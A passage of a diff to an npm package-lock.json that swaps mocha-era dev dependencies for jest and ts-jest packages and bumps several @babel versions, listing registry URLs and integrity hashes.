">=8" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" } }, "node_modules/run-parallel": { @@ -2965,26 +5120,6 @@ "queue-microtask": "^1.2.2" } }, - "node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ] - }, "node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", @@ -2995,15 +5130,6 @@ "semver": "bin/semver.js" } }, - "node_modules/serialize-javascript": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz", - "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==", - "dev": true, - "dependencies": { - "randombytes": "^2.1.0" - } - }, "node_modules/shallow-clone": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz", @@ -3079,6 +5205,50 @@ "source-map": "^0.6.0" } }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/stack-utils": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", + "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "escape-string-regexp": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/stack-utils/node_modules/escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/string-length": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz", + "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "char-regex": "^1.0.2", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, "node_modules/string-width": { "version": "4.2.3", "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", @@ -3133,6 +5303,26 @@ "node": ">=8" } }, + "node_modules/strip-bom": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz", + "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, "node_modules/strip-json-comments": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", @@ -3157,6 +5347,83 @@ "node": ">=8" } }, + "node_modules/synckit": { + "version": "0.11.8", + "resolved": "https://registry.npmjs.org/synckit/-/synckit-0.11.8.tgz", + "integrity": "sha512-+XZ+r1XGIJGeQk3VvXhT6xx/VpbHsRzsTkGgF6E5RX9TTXD0118l87puaEBZ566FhqblC6U0d4XnubznJDm30A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@pkgr/core": "^0.2.4" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/synckit" + } + }, + "node_modules/test-exclude": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", + "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", + "dev": true, + "license": "ISC", + "dependencies": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^7.1.4", + "minimatch": "^3.0.4" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/test-exclude/node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/test-exclude/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "dev": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/test-exclude/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, "node_modules/tiny-invariant": { "version": "1.3.3", "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz", @@ -3174,6 +5441,13 @@ "node": ">=14.14" } }, + "node_modules/tmpl": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz", + "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==", + "dev": true, + "license": "BSD-3-Clause" + }, "node_modules/to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", @@ -3185,10 +5459,84 @@ "node": ">=8.0" } }, - "node_modules/tr46": { - "version": "0.0.3", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", - "integrity": "sha1-gYT9NH2snNwYWZLzpmIuFLnZq2o=" + "node_modules/ts-jest": { + "version": "29.4.0", + "resolved": "https://registry.npmjs.org/ts-jest/-/ts-jest-29.4.0.tgz", + "integrity": "sha512-d423TJMnJGu80/eSgfQ5w/R+0zFJvdtTxwtF9KzFFunOpSeD+79lHJQIiAhluJoyGRbvj9NZJsl9WjCUo0ND7Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "bs-logger": "^0.2.6", + "ejs": "^3.1.10", + "fast-json-stable-stringify": "^2.1.0", + "json5": "^2.2.3", + "lodash.memoize": "^4.1.2", + "make-error": "^1.3.6", + "semver": "^7.7.2", + "type-fest": "^4.41.0", + "yargs-parser": "^21.1.1" + }, + "bin": { + "ts-jest": "cli.js" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || ^18.0.0 || >=20.0.0" + }, + "peerDependencies": { + "@babel/core": ">=7.0.0-beta.0 <8", + "@jest/transform": "^29.0.0 || ^30.0.0", + "@jest/types": "^29.0.0 || ^30.0.0", + "babel-jest": "^29.0.0 || ^30.0.0", + "jest": "^29.0.0 || ^30.0.0", + "jest-util": "^29.0.0 || ^30.0.0", + "typescript": ">=4.3 <6" + }, + "peerDependenciesMeta": { + "@babel/core": { + "optional": true + }, + "@jest/transform": { + "optional": true + }, + "@jest/types": { + "optional": true + }, + "babel-jest": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "jest-util": { + "optional": true + } + } + }, + "node_modules/ts-jest/node_modules/semver": { + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz", + "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/ts-jest/node_modules/type-fest": { + "version": "4.41.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", + "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } }, "node_modules/ts-node": { "version": "10.9.2", @@ -3268,6 +5616,19 @@ "node": ">=4" } }, + "node_modules/type-fest": { + "version": "0.21.3", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/typescript": { "version": "5.5.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.5.3.tgz", @@ -3282,9 +5643,45 @@ } }, "node_modules/universal-user-agent": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-6.0.0.tgz", - "integrity": "sha512-isyNax3wXoKaulPDZWHQqbmIx1k2tb9fb3GGDBRxCscfYV2Ch7WxPArBsFEG8s/safwXTT7H4QGhaIkTp9447w==" + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-7.0.3.tgz", + "integrity": "sha512-TmnEAEAsBJVZM/AADELsK76llnwcf9vMKuPz8JflO1frO8Lchitr0fNaN9d+Ap0BjKtqWqd/J17qeDnXh8CL2A==", + "license": "ISC" + }, + "node_modules/unrs-resolver": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/unrs-resolver/-/unrs-resolver-1.9.2.tgz", + "integrity": "sha512-VUyWiTNQD7itdiMuJy+EuLEErLj3uwX/EpHQF8EOf33Dq3Ju6VW1GXm+swk6+1h7a49uv9fKZ+dft9jU7esdLA==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "dependencies": { + "napi-postinstall": "^0.2.4" + }, + "funding": { + "url": "https://opencollective.com/unrs-resolver" + }, + "optionalDependencies": { + "@unrs/resolver-binding-android-arm-eabi": "1.9.2", + "@unrs/resolver-binding-android-arm64": "1.9.2", + "@unrs/resolver-binding-darwin-arm64": "1.9.2", + "@unrs/resolver-binding-darwin-x64": "1.9.2", + "@unrs/resolver-binding-freebsd-x64": "1.9.2", + "@unrs/resolver-binding-linux-arm-gnueabihf": "1.9.2", + "@unrs/resolver-binding-linux-arm-musleabihf": "1.9.2", + "@unrs/resolver-binding-linux-arm64-gnu": "1.9.2", + "@unrs/resolver-binding-linux-arm64-musl": "1.9.2", + "@unrs/resolver-binding-linux-ppc64-gnu": "1.9.2", + "@unrs/resolver-binding-linux-riscv64-gnu": "1.9.2", + "@unrs/resolver-binding-linux-riscv64-musl": "1.9.2", + "@unrs/resolver-binding-linux-s390x-gnu": "1.9.2", + "@unrs/resolver-binding-linux-x64-gnu": "1.9.2", + "@unrs/resolver-binding-linux-x64-musl": "1.9.2", + "@unrs/resolver-binding-wasm32-wasi": "1.9.2", + "@unrs/resolver-binding-win32-arm64-msvc": "1.9.2", + "@unrs/resolver-binding-win32-ia32-msvc": "1.9.2", + "@unrs/resolver-binding-win32-x64-msvc": "1.9.2" + } }, "node_modules/update-browserslist-db": { "version": "1.1.3", @@ -3323,18 +5720,40 @@ "integrity": "sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==", "dev": true }, - "node_modules/webidl-conversions": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", - "integrity": "sha1-JFNCdeKnvGvnvIZhHMFq4KVlSHE=" + "node_modules/v8-to-istanbul": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz", + "integrity": "sha512-kiGUalWN+rgBJ/1OHZsBtU4rXZOfj/7rKQxULKlIzwzQSvMJUUNgPwJEEh7gU6xEVxC0ahoOBvN2YI8GH6FNgA==", + "dev": true, + "license": "ISC", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.12", + "@types/istanbul-lib-coverage": "^2.0.1", + "convert-source-map": "^2.0.0" + }, + "engines": { + "node": ">=10.12.0" + } }, - "node_modules/whatwg-url": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", - "integrity": "sha1-lmRU6HZUYuN2RNNib2dCzotwll0=", + "node_modules/v8-to-istanbul/node_modules/@jridgewell/trace-mapping": { + "version": "0.3.29", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", + "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/walker": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz", + "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==", + "dev": true, + "license": "Apache-2.0", "dependencies": { - "tr46": "~0.0.3", - "webidl-conversions": "^3.0.0" + "makeerror": "1.0.12" } }, "node_modules/which": { @@ -3352,12 +5771,6 @@ "node": ">= 8" } }, - "node_modules/workerpool": { - "version": "6.5.1", - "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.5.1.tgz", - "integrity": "sha512-Fs4dNYcsdpYSAfVxhnl1L5zTksjvOJxtC5hzMNl+1t9B8hTJTdKDyZ5ju7ztgPy+ft9tBFXoOlDNiOT9WUXZlA==", - "dev": true - }, "node_modules/wrap-ansi": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", @@ -3396,7 +5809,8 @@ "node_modules/wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", + "dev": true }, "node_modules/write-file-atomic": { "version": "5.0.1", @@ -3428,46 +5842,14 @@ "dev": true, "license": "ISC" }, - "node_modules/yargs": { - "version": "16.2.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", - "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", - "dev": true, - "dependencies": { - "cliui": "^7.0.2", - "escalade": "^3.1.1", - "get-caller-file": "^2.0.5", - "require-directory": "^2.1.1", - "string-width": "^4.2.0", - "y18n": "^5.0.5", - "yargs-parser": "^20.2.2" - }, - "engines": { - "node": ">=10" - } - }, "node_modules/yargs-parser": { - "version": "20.2.9", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", - "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", - "dev": true, - "engines": { - "node": ">=10" - } - }, - "node_modules/yargs-unparser": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz", - "integrity": "sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==", + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", "dev": true, - "dependencies": { - "camelcase": "^6.0.0", - "decamelize": "^4.0.0", - "flat": "^5.0.2", - "is-plain-obj": "^2.1.0" - }, + "license": "ISC", "engines": { - "node": ">=10" + "node": ">=12" } }, "node_modules/yn": { @@ -3516,38 +5898,38 @@ } }, "@babel/code-frame": { - "version": "7.26.2", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.26.2.tgz", - "integrity": "sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", + "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.25.9", + "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", - "picocolors": "^1.0.0" + "picocolors": "^1.1.1" } }, "@babel/compat-data": { - "version": "7.26.8", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.26.8.tgz", - "integrity": "sha512-oH5UPLMWR3L2wEFLnFJ1TZXqHufiTKAiLfqw5zkhS4dKXLJ10yVztfil/twG8EDTA4F/tvVNw9nOl4ZMslB8rQ==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.0.tgz", + "integrity": "sha512-60X7qkglvrap8mn1lh2ebxXdZYtUcpd7gsmy9kLaBJ4i/WdY8PqTSdxyA8qraikqKQK5C1KRBKXqznrVapyNaw==", "dev": true }, "@babel/core": { - "version": "7.26.10", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.26.10.tgz", - "integrity": "sha512-vMqyb7XCDMPvJFFOaT9kxtiRh42GwlZEg1/uIgtZshS5a/8OaduUfCi7kynKgc3Tw/6Uo2D+db9qBttghhmxwQ==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.0.tgz", + "integrity": "sha512-UlLAnTPrFdNGoFtbSXwcGFQBtQZJCNjaN6hQNP3UPvuNXT1i82N26KL3dZeIpNalWywr9IuQuncaAfUaS1g6sQ==", "dev": true, "requires": { "@ampproject/remapping": "^2.2.0", - "@babel/code-frame": "^7.26.2", - "@babel/generator": "^7.26.10", - "@babel/helper-compilation-targets": "^7.26.5", - "@babel/helper-module-transforms": "^7.26.0", - "@babel/helpers": "^7.26.10", - "@babel/parser": "^7.26.10", - "@babel/template": "^7.26.9", - "@babel/traverse": "^7.26.10", - "@babel/types": "^7.26.10", + "@babel/code-frame": "^7.27.1", + "@babel/generator": "^7.28.0", + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-module-transforms": "^7.27.3", + "@babel/helpers": "^7.27.6", + "@babel/parser": "^7.28.0", + "@babel/template": "^7.27.2", + "@babel/traverse": "^7.28.0", + "@babel/types": "^7.28.0", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", @@ -3556,22 +5938,22 @@ } }, "@babel/generator": { - "version": "7.26.10", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.26.10.tgz", - "integrity": "sha512-rRHT8siFIXQrAYOYqZQVsAr8vJ+cBNqcVAY6m5V8/4QqzaPl+zDBe6cLEPRDuNOUf3ww8RfJVlOyQMoSI+5Ang==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.0.tgz", + "integrity": "sha512-lJjzvrbEeWrhB4P3QBsH7tey117PjLZnDbLiQEKjQ/fNJTjuq4HSqgFA+UNSwZT8D7dxxbnuSBMsa1lrWzKlQg==", "dev": true, - "requires": { - "@babel/parser": "^7.26.10", - "@babel/types": "^7.26.10", - "@jridgewell/gen-mapping": "^0.3.5", - "@jridgewell/trace-mapping": "^0.3.25", + "requires": { + "@babel/parser": "^7.28.0", + "@babel/types": "^7.28.0", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" }, "dependencies": { "@jridgewell/trace-mapping": { - "version": "0.3.25", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz", - "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==", + "version": "0.3.29", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", + "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", "dev": true, "requires": { "@jridgewell/resolve-uri": "^3.1.0", @@ -3581,22 +5963,22 @@ } }, "@babel/helper-annotate-as-pure": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.25.9.tgz", - "integrity": "sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g==", + "version": "7.27.3", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.27.3.tgz", + "integrity": "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg==", "dev": true, "requires": { - "@babel/types": "^7.25.9" + "@babel/types": "^7.27.3" } }, "@babel/helper-compilation-targets": { - "version": "7.26.5", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.26.5.tgz", - "integrity": "sha512-IXuyn5EkouFJscIDuFF5EsiSolseme1s0CZB+QxVugqJLYmKdxI1VfIBOst0SUu4rnk2Z7kqTwmoO1lp3HIfnA==", + "version": "7.27.2", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz", + "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==", "dev": true, "requires": { - "@babel/compat-data": "^7.26.5", - "@babel/helper-validator-option": "^7.25.9", + "@babel/compat-data": "^7.27.2", + "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" @@ -3614,122 +5996,164 @@ } }, "@babel/helper-create-class-features-plugin": { - "version": "7.26.9", - "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.26.9.tgz", - "integrity": "sha512-ubbUqCofvxPRurw5L8WTsCLSkQiVpov4Qx0WMA+jUN+nXBK8ADPlJO1grkFw5CWKC5+sZSOfuGMdX1aI1iT9Sg==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.27.1.tgz", + "integrity": "sha512-QwGAmuvM17btKU5VqXfb+Giw4JcN0hjuufz3DYnpeVDvZLAObloM77bhMXiqry3Iio+Ai4phVRDwl6WU10+r5A==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.25.9", - "@babel/helper-member-expression-to-functions": "^7.25.9", - "@babel/helper-optimise-call-expression": "^7.25.9", - "@babel/helper-replace-supers": "^7.26.5", - "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", - "@babel/traverse": "^7.26.9", + "@babel/helper-annotate-as-pure": "^7.27.1", + "@babel/helper-member-expression-to-functions": "^7.27.1", + "@babel/helper-optimise-call-expression": "^7.27.1", + "@babel/helper-replace-supers": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", + "@babel/traverse": "^7.27.1", "semver": "^6.3.1" } }, + "@babel/helper-globals": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", + "dev": true + }, "@babel/helper-member-expression-to-functions": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.25.9.tgz", - "integrity": "sha512-wbfdZ9w5vk0C0oyHqAJbc62+vet5prjj01jjJ8sKn3j9h3MQQlflEdXYvuqRWjHnM12coDEqiC1IRCi0U/EKwQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.27.1.tgz", + "integrity": "sha512-E5chM8eWjTp/aNoVpcbfM7mLxu9XGLWYise2eBKGQomAk/Mb4XoxyqXTZbuTohbsl8EKqdlMhnDI2CCLfcs9wA==", "dev": true, "requires": { - "@babel/traverse": "^7.25.9", - "@babel/types": "^7.25.9" + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" } }, "@babel/helper-module-imports": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.25.9.tgz", - "integrity": "sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz", + "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==", "dev": true, "requires": { - "@babel/traverse": "^7.25.9", - "@babel/types": "^7.25.9" + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" } }, "@babel/helper-module-transforms": { - "version": "7.26.0", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.26.0.tgz", - "integrity": "sha512-xO+xu6B5K2czEnQye6BHA7DolFFmS3LB7stHZFaOLb1pAwO1HWLS8fXA+eh0A2yIvltPVmx3eNNDBJA2SLHXFw==", + "version": "7.27.3", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.27.3.tgz", + "integrity": "sha512-dSOvYwvyLsWBeIRyOeHXp5vPj5l1I011r52FM1+r1jCERv+aFXYk4whgQccYEGYxK2H3ZAIA8nuPkQ0HaUo3qg==", "dev": true, "requires": { - "@babel/helper-module-imports": "^7.25.9", - "@babel/helper-validator-identifier": "^7.25.9", - "@babel/traverse": "^7.25.9" + "@babel/helper-module-imports": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1", + "@babel/traverse": 